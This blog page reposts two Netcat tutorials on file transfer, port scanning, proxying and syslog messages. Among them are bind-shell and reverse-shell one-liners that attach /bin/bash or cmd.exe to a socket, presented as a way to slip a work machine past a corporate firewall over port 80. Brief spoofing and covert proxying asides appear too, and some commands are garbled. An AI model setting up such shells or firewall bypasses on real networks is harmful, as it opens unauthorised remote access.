Showing posts with label NetCat. Show all posts
Showing posts with label NetCat. Show all posts

Wednesday, January 9, 2008

Netcat and Reverse Telnet

ONLamp.com: Netcat and Reverse Telnet

http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html
See this if you're having trouble printing code examples

Netcat and Reverse Telnet

by KIVILCIM Hindistan, 05/29/2003

Today we live a virtually secure world of computing, with fancy firewalls, user access lists, intrusion detection schemes, and so on. But occasionally you may just want to copy a file from one computer to another, without breaching security, ringing bells all over the network, or even meddling with cumbersome access lists. You may want to reach your work computer from home, so that you can finish your work, but the guardian firewall would not let you in.

Or you may just want to write your simple network utility to fetch something from somewhere and do something to it, the famous duct-tape method. You don't want to use C++. You don't want to use Perl. You want nothing but the good old glue and fix method.

For all these seemingly difficult tasks there is a wonderful tool called Netcat.

As you'd expect, the name Netcat comes from one of the basic Unix commands cat. cat "concatenates files and prints on standard output", Netcat basically does the same. Instead of concatenating files, Netcat concatenates the TCP and UDP sockets, making it basically a "cat of ports". Just like its ancestors, the fundamental commands of the Unix environment, Netcat does this one thing and does it perfectly. You can glue it to other commands to make it do whatever you want.

This article examines the basic usage of Netcat, including one or two tricks that will make your life easier.

What can I use Netcat for?

As a basic point of view, Netcat is a telnet program. But that's like calling the Swiss Army Knife just a knife. Netcat was written in 1996 by a hacker called Hobbit to meet all kinds of telnet needs. Today you can easily find a version of Netcat for your flavor of Unix or even Windows. There are also some variants, such as cryptcat which adds vital encryption features, which we will also use later in this article.

This article sticks to the vanilla Netcat. The examples are prepared with Unix in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter.

Preparing Network Interfaces

To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.

For TCP/IP communication, the Unix platform uses a virtual loopback (lo) interface with a default IP of 127.0.0.1. Under Linux, you can use 0 instead of this IP address. We will use this interface to set up two virtual interfaces.

Note that if we interfere with the 127.0.0.1 interface, we may break the network connection. Instead, we will use lo:1 and lo:2 virtual interfaces. The following method will allow you to assign many IP numbers to the same network interface, such as eth0:0 or eth0:1. As root, enter:

% ifconfig lo:1 10.0.1.1
% ifconfig lo:2 10.0.1.2

Now enter ifconfig to examine your interfaces:

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1

Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.

Network Connection:

As I've stated before, Netcat is a telnet client. With the basic usage you can connect to any port with nc host port. When you make a connection this way, everything you type goes to the remote machine (if it's listening to that port) and every response comes back to you. This goes on until the network connection is broken. As for the remote computer, I must remind you that Netcat is both a client and a server.

Now, let's open two consoles. One will be our server, listening to port 5600:

$ nc -l -p 5600

The other will be our client that connects to that port.

$ nc 10.0.1.1 5600

Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.

At the first console give the command:

$ nc -l -p 5600 -vv

In the second:

$ nc 10.0.1.1 5600

Did you see anything different?

listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354

This time, Netcat was generous with its information. The extra -vv command option put Netcat in verbose mode. If you use one v then you end up with less information. This command is especially valuable when troubleshooting. At the end, when you pressed Ctrl-c, Netcat exited, reporting how many bytes were sent and received.

As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).

File Transfer

One of the most practical usages of this network connection is the file transfer. As a basic Netcat function, this feature may be used to great effect in the hands of an experienced user. For a freshly installed computer, setting up a ftp server or, worse, meddling with rcp or scp protocols may be nauseating. Those commands may not be available for one, and multiple layers of control mechanisms may interfere with their functionality. You can still transfer files with just one nc command.

At the server console:

$ nc -v -w 30 -p 5600 l- > filename.back

and on the client side:

$ nc -v -w 2 10.0.1.1 5600 < filename

Magically, the file named filename is transfered from the client to the server. You can check that they are identical.

The command line uses the new argument -w to cause Netcat to wait for a few seconds. We made that longer in the server side because it is most affected by a pause. Another important point is the > and < redirection commands, with which Unix users are very familiar.

In the server we said > filename.back. Any output will be directed to this file. As it happens, the output is the file filename which is send by the client. Think of this as a pipeline. We take a bucket (file), pour the contents to the pipeline (Netcat's port), and, at the other end we fill another bucket from the pipeline.

Telnet

We can now transfer files, but maybe we want to make something more useful. For example, we might want to login to a remote machine and do some work. We want to telnet without the hassle of working through access control mechanisms. The -e option comes in handy.

On the first console, enter:

$ nc -l -p 5600 -e /bin/bash

and at the second console:

$ nc 10.0.1.1. 5600

Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise.

Security Notice and Cryptcat

Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.

Small notice: I love Open Source! As the author of Cryptcat states:

Linux version -- why I like Linux... only had to change two lines of code to add encryption.

Thus if you want more security (which you should), use cryptcat with the -k option. Cryptcat's encryption scheme has an embedded keyphrase of metallica. You can (and should) change this with the option -k, using your own keyword. After that, you not only have an easy telnet setup, but you also will be very secure.

Reverse Telnet

As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.

Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.

As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.

We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.

First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand.

At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash.

And at home just at 22:00 or so we start:

$ nc -vv -l -p 80

to begin listening on port 80 for incoming connections.

At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want.

We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection:

$ nc -vv -l -p 80

To make a connection from the server:

$ nc 10.0.1.1 80 -e /bin/bash

It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.

Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat.

Resources

NetCat Tutorial (securitydocs.com)

NetCat Tutorial
by: Adam Palmer, 06/13/2005
http://www.securitydocs.com/library/3376

What is Netcat?


“Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or "nc" as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.”
Taken from the README of the netcat source tree, this description sums up the uses of netcat perfectly.
Netcat’s homepage is: http://netcat.sourceforge.net
Throughout this tutorial, I will be giving examples on Linux systems. The official Netcat homepage makes no reference to Windows systems, however I have successfully built Netcat from source under Cygwin, and you can find a Win32 copy built by ‘@Stake’ from: http://www.atstake.com/research/tools/network_utilities/nc11nt.zip and all examples used below are fully supported under Windows.
Let’s examine the netcat syntax before we look at some areas in which netcat can be used:

Netcat Syntax

adam@adamp:~$ nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Netcat Installation


I will cover here three installation methods.

  1. On a debian or similar machine:
    apt-get install netcat will do the trick:

    adamp:~# apt-get install netcat
    Reading Package Lists... Done
    Building Dependency Tree... Done
    The following NEW packages will be installed:
    netcat
    0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
    Need to get 63.3kB of archives. After unpacking 190kB will be used.
    Get:1 http://http.us.debian.org stable/main netcat 1.10-21 [63.3kB]
    Fetched 63.3kB in 2s (27.9kB/s)
    Selecting previously deselected package netcat.
    (Reading database ... 39433 files and directories currently installed.)
    Unpacking netcat (from .../netcat_1.10-21_i386.deb) ...
    Setting up netcat (1.10-21) ...

    adamp:~#

  2. And for those that prefer RPMs:
    rpm –Uvh netcat-version.rpm

  3. And for those that prefer the source:
    We will start by wget’ing the source:
    adam@adamp:~$ wget http://osdn.dl.sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz
    We will now untar, cd to the directory we have untarred the source code to, and run the ‘configure’ script.
    adam@adamp:~$ tar -xzf netcat-0.7.1.tar.gz
    adam@adamp:~$ cd netcat-0.7.1
    adam@adamp:~/netcat-0.7.1$ ./configure
The configure script should run through with no trouble, as netcat has very few dependencies.
We then run ‘make’:
adam@adamp:~/netcat-0.7.1$ make
This will run through and will compile your source, which again should complete simply and successfully. You can then run ‘make install’ if you have the necessary privileges, or you could simply run ‘src/netcat’ which will have been built after a successful ‘make’
At this point, you should now have a successful build of netcat somewhere on your system.

What are the most basic uses?


Simple File Transfer

So as an example, I will start two copies of netcat on the same machine locally:
adam@adamp:~$ netcat -l -p 1111
Here, using the –l switch, we are able to specify that netcat should go into ‘listen mode’ i.e. to listen on the specified port. Using –p 1111 we are able to specify that we are using port 1111. To summarize, netcat will sit and listen for TCP connections on port 1111 and print any data it receives out to the screen.
In another window we start netcat as:
adam@adamp:~$ netcat 127.0.0.1 1111
This will connect to host 127.0.0.1 (Locally) on port 1111.
We are now able to have a full two way data transmission, in Window 1:
adam@adamp:~$ netcat -l -p 1111
This message was typed in WINDOW1
This message was typed in WINDOW2
Now I'm going to end communication with ^C (Ctrl-C)
adam@adamp:~$
And in Window 2:
adam@adamp:~$ netcat 127.0.0.1 1111
This message was typed in WINDOW1
This message was typed in WINDOW2
Now I'm going to end communication with ^C (Ctrl-C)

adam@adamp:~$
This is the most basic use of netcat described. Here, we are using a BASH shell, and thus we may pipe ‘|’ data to and from netcat, as well as using the redirection (‘>’, ‘>>’, ‘<’, ‘<<’) to allow netcat to integrate into the shell environment. We will now examine using netcat with one of the redirection operators.
Lets say we wanted to simply transmit a plaintext file.
In one window, we will start netcat as:
adam@adamp:~$ netcat -l -p 1111 > outputfile
This will run netcat with the same parameters specified above, except it will redirect all text received into ‘outputfile’.
adam@adamp:~$ echo > infile << EOF
> This is a test file.
> I am going to attempt to transmit this.
> Using Netcat.
> EOF
adam@adamp:~$
Here, we have created some text in a file, and this is the file we are going to attempt to transmit:
adam@adamp:~$ cat infile | netcat 127.0.0.1 1111 –q 10
adam@adamp:~$
Hopefully this has now been transmitted to the otherside:
adam@adamp:~$ cat outputfile
This is a test file.
I am going to attempt to transmit this.
Using Netcat.
adam@adamp:~$
And here we can confirm that it has. The –q 10 in the command line will quit after EOF (Otherwise netcat will hang waiting for more input for cat and we will have to terminate it manually). The parameter ‘10’ causes it to quit after 10 seconds anyway.
Tar

Now, there is no reason why we can’t integrate tar and netcat together, and use this to transmit a directory across a netcat socket:
On one side: tar zcfp - /path/to/directory | nc -w 3 127.0.0.1 1234
The tar statement before the pipe tar’s and compresses (using gzip) every file within that directory, before printing its output to stdout (The screen). It is then caught by the pipe, and piped to nc which in this example, connects to 127.0.0.1 on port 1234 and sends it the data which would normally hit the screen. The –w 3 switch causes nc to allow for a 3 second timeout (In the event of a temporary disconnection or similar).
On the other side: nc -l -p 1234 | tar xvfpz –
This will listen on port 1234 for a connection, and will pass any data received to tar. Using the option ‘v’ we can print out filenames to screen:

UDP

Netcat also supports the UDP IP protocol, and this feature can be invoked with the –u switch.
Simple Socket Reply

With what we have learned so far, we are easily able to get netcat to listen in on a socket, and pump out any data we wish when it receives a connection.
As an example:
while true; do echo "Leave me alone" | netcat -l -p 1234 –w10; done
Consider this line. Firstly lets examine
echo “Leave me alone” | netcat –l –p 1234 –w 10
What we are doing here, is listening in on port 1234 with a wait time of 10 seconds. If/when we receive a connection, pipe the results of echo “Leave me alone” to netcat. The –w 10 is necessary, as otherwise any connection made in will remain open forever. We can also optionally add a –v in to the netcat command line which will give us verbose information, i.e. who is connecting.
Every time a connection times out (either with the –w 10 command line switch, or because a connection has been made and then closed), netcat will exit. As this is not what we want, we put the command line within a standard BASH: while CONDITION; do STATEMENT; done clause, which when the condition is set to true will run forever.
Inetd

If you build netcat with GAPING_SECURITY_HOLE defined, you can use it as an "inetd" substitute to test experimental network servers that would otherwise run under "inetd". A script or program will have its input and output hooked to the network the same way, perhaps sans some fancier signal handling. Given that most network services do not bind to a particular local address, whether they are under "inetd" or not, it is possible for netcat avoid the "address already in use" error by binding to a specific address. This lets you [as root, for low ports] place netcat "in the way" of a standard service, since inbound connections are generally sent to such specifically-bound listeners first and fall back to the ones bound to "any". This allows for a one-off experimental simulation of some service, without having to screw around with inetd.conf. Running with -v turned on and collecting a connection log from standard error is recommended.
Netcat as well can make an outbound connection and then run a program or script on the originating end, with input and output connected to the same network port. This "inverse inetd" capability could enhance the backup-server concept described above or help facilitate things such as a "network dialback" concept. The possibilities are many and varied here; if such things are intended as security mechanisms, it may be best to modify netcat specifically for the purpose instead of wrapping such functions in scripts.
Speaking of inetd, netcat will function perfectly well *under* inetd as a TCP connection redirector for inbound services, like a "plug-gw" without the authentication step. This is very useful for doing stuff like redirecting traffic through your firewall out to other places like web servers and mail hubs, while posing no risk to the firewall machine itself. Put netcat behind inetd and tcp_wrappers, perhaps thusly:
www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80
and you have a simple and effective "application relay" with access control and logging. Note use of the wait time as a "safety" in case realwww isn't reachable or the calling user aborts the connection -- otherwise the relay may hang there forever.
Inetd/tcp_wrappers and netcat information, courtesy of: http://www.spyder-fonix.com/netcat.html
Talking to syslogd -r

Syslog Daemons running with the –r switch log not only their own hosts data but accept remote UDP broadcasts. They listen in on UDP port 514.
"echo '<0>message' | nc -w 1 -u loggerhost 514"
If ‘loggerhost’ is running syslogd –r and can accept your messages. Note the –u switch here, to put netcat into UDP mode. Specifying the ‘<0>’ before your message ensures that your message receives top priority within syslog (kern.emerg)
IPv6

We shalln’t touch upon IPv6 in this tutorial, as it covers a different area of networking altogether. Syntax and usage is identical though, and the majority of this tutorial will apply. Look out for netcat6 or nc6.

Internetworking Basics


For the purposes of this section, ‘machine’ refers to an x86 compatible PC with a connection to the Internet through some means, terminated by a standardized TCP/IP stack.
Each machine on the Internet today comes shipped with a standard, compatible TCP/IP stack. This stack guarantees the use of 65535 ports, and IPv4 protocol compatibility.
Below we can see the OSI model. This explains in terms of 7 layers, how data is constructed at one host and received at the next.
In short; Data is constructed on the left by an application, encodes it with a transport (TCP) which takes it over the network (IP), resolves MACs of local devices (Data Link) and then passes a constructed packet to the network card which transmits (Physical) it over the wire (at which point the opposite happens at the other end).
You may have intelligent devices such as switches along the way. These for example may be wise up to layer 5 for example and not only route according to MAC address (Layer 2) but inspect and firewall packets based on findings up to Layer 5 (Simple firewalling) or even Layer 7 (Packet inspection).

“The OSI, or Open System Interconnection, model defines a networking framework for implementing protocols in seven layers. Control is passed from one layer to the next, starting at the application layer in one station, proceeding to the bottom layer, over the channel to the next station and back up the hierarchy.”
(Courtesy of: http://webopedia.internet.com/quick_ref/OSI_Layers.asp)
nc –e

We have already discussed the basics of redirection with netcat. Netcat has a –e switch which we can use to execute a program on connection. There are a couple of viable and legitimate uses for this, i.e. running as nc –e –v … called by the inetd wrapper, which we can use to view traffic and information on users connecting to wrapped daemons, however the most common use which we will explore here is using it to redirect to and from /bin/bash or similar shell, for both good and bad.
One method could be this:
adam@adamp:~$ nc -v -e '/bin/bash' -l -p 1234 -t
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 51210
In one window, and a simple ‘telnet localhost 1234’ in another window:
adam@adamp:~$ telnet 127.0.0.1 1234
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
echo Test
Test
^]
telnet>

Scanning

The scanning features of netcat can be used against yours or your friend’s networks to get useful information about which hosts have certain ports open. You can also send a precompiled data file to each. For example:
echo EXIT | nc -w 1 127.0.0.1 20-250 500-600 5990-7000
Will scan 127.0.0.1 on ports 20-250, 500-600 and 5990-7000. Every port that it finds is open, it will pipe the output of echo “EXIT” being the word “EXIT” to that port.
The results are as follows:

(For the sanity of my server, I have blocked out a number of parts from certain service banners.)
And now with UDP scanning: nc -v -w 1 127.0.0.1 –u 20-250 500-600 5990-7000 we receive:
adam@adamp:~$ nc -u -v -w 1 127.0.0.1 20-250 500-600 5990-7000
localhost [127.0.0.1] 250 (?) open

adam@adamp:~$
-v was to put netcat into verbose mode, and –u was telling netcat to fall into UDP mode.
Spoofing

“Your TCP spoofing possibilities are mostly limited to destinations you can source-route to while locally bound to your phony address. Many sites block source-routed packets these days for precisely this reason. If your kernel does oddball things when sending source-routed packets, try moving the pointer around with -G. You may also have to fiddle with the routing on your own machine before you start receiving packets back. Warning: some machines still send out traffic using the source address of the outbound interface, regardless of your binding, especially in the case of localhost. Check first. If you can open a connection but then get no data back from it, the target host is probably killing the IP options on its end [this is an option inside TCP wrappers and several other packages], which happens after the 3-way handshake is completed. If you send some data and observe the "send-q" side of "netstat" for that connection increasing but never getting sent, that's another symptom. Beware: if Sendmail 8.7.x detects a source-routed SMTP connection, it extracts the hop list and sticks it in the Received: header!” http://www.spyder-fonix.com/netcat.html
Spoofing is a useful technique, as is source routing.
Source routing is almost obsolete now, and the majority of routers filter out source routed packets. Source routing in a nutshell is basically setting the route that the packet will take at the source, and storing that information along with the packet. Normally, each router makes its own mind up as to where a packet will get routed, and follows its predefined routing tables. If we have access to all routers between our device and the target device (which can be one machine if you’re talking about your local LAN server), then we are able to modify the routing entries on those devices, bind a phoney address to our machine and source route packets to the intended destination.
Spoofing is where we modify the source address of a packet so that the recipient believes it came from a different address. There are two problems with this;

  1. A number of clever ISP routers will drop packets with incorrect source addresses.
  2. If the destination host does get to receive your spoofed packet, it will send data back to the spoofed address (instead of ours). This does have a number of uses however in the example of ICMP ping flooding a host and spoofing the source address to Microsoft.com (as a theoretical example).

Simple Response Service
echo -e "GET http://www.google.com HTTP/1.0nn" | nc –w 5 www.google.com 80
We make a connection to google.com on port 80 (Web server port), and put in an HTTP request for http://www.google.com.
At this point, we are presented with the HTML spurted out by the web server. We can pipe this to “| less” or similar or even our favourite HTML interpreter.

Take a look at this example, and you will see what we have done here. In one instance we have created an HTML file ‘webfrontend’ and we now pipe that HTML to any incoming connection to netcat on port 1111. We then make a connection on the larger window, using lynx http://127.0.0.1:1111 and we have made ourselves a tiny http server, possibly could be used as a holding page server or something similar.
Advanced Proxying

Now we'll set up a server netcat to listen on port 1111. We'll also set up a client netcat to talk to the real web server on port 81. By getting them to pass all data they receive to each other, together they form a proxy; something that sits in the middle of a network connection. Here are the commands we use:
mknod backpipe p
nc -l -p 1111 0backpipe
Because bash pipes only carry data in one direction, we need to provide a way to carry the responses as well. We can create a pipe on the local filesystem to carry the data in the backwards direction with the mknod command; this only needs to be run once.
Requests coming into the proxy from the client arrive at the first nc, listening on port 1111. They get handed off to the "tee" command, which logs them to the inflow file, then continue on to the second nc command which hands them off to the real web server. When a response comes back from the server, it arrives back at the second nc command, gets logged in the second tee command to the outflow file, and then gets pushed into the backpipe pipe on the local filesystem. Since the first netcat is listening to that pipe, these responses get handed to that first netcat, which then dutifully gives them back to the original client. While the above example is for watching tcp streams going to and from a web server, the above technique is useful for watching any tcp connection. In fact, since nc also works with udp packets - something telnet can't do - it should be possible to even set up udp proxies this way.
Windows Command Shell


As we can see from the image above, we have started netcat with options of
–l –p 1234 –e “c:windowssystem32cmd.exe”
These are the same options as with the Unix shell, and this should theoretically start a cmd.exe shell listening in on port 1234:

As you see from above, this has succeeded. Netcat and program execution for Windows can be used in exactly the same way.
Unauthorized Proxying

Assume you’re an administrator of a Linux router. Using the methods above, as well as your iptables software, you can proxy a users outgoing connection through your nc proxy. Using iptables with the –j DNAT target and the –j REDIRECT target, you can transparently proxy outgoing connections through to any other ports you want, and what better to use than your nc proxy?
Cryptcat

Cryptcat can be found at: http://sourceforge.net/projects/cryptcat/ and is the ultimate companion for Netcat. It includes a lightweight version of Netcat, featuring encrypted transport properties. (Just for those superbly paranoid!)
Final Thoughts

If I was given one tool on a freshly installed PC, I would ask for Netcat. Due to its versatility and its huge range of uses, it can be used as a transfer tool, a scanning tool, a server, a proxy and so much more. I have put down everything useful I can think of, and welcome any further suggestions directed to adam@adamp.co.uk

Command Cheat Sheet


The following are the most useful uses of netcat:
For windows nc –d can be used to detach from the console.

nc –l –p [port]
will create a simple listening tcp port. Add –u to put into UDP mode.

nc –e [program]
To redirect stdin/stdout from program.

nc –w [timeout]
To set a timeout before netcat automatically quits. (Used within a loop usually)

program | nc
To pipe output of program to netcat

nc | program
To pipe output of netcat to program

nc –h
Help sheet

nc –v
To put into verbose mode, or use –v –v to put into ultra-verbose mode!

nc –g or nc –G
Source routing flags

nc –t
Use telnet negotiation (If connecting to a telnetd or acting as a telnetd for telnet clients).

nc –o [file]
Hex dump traffic to file

nc –z
No I/O (Used for scanning ports)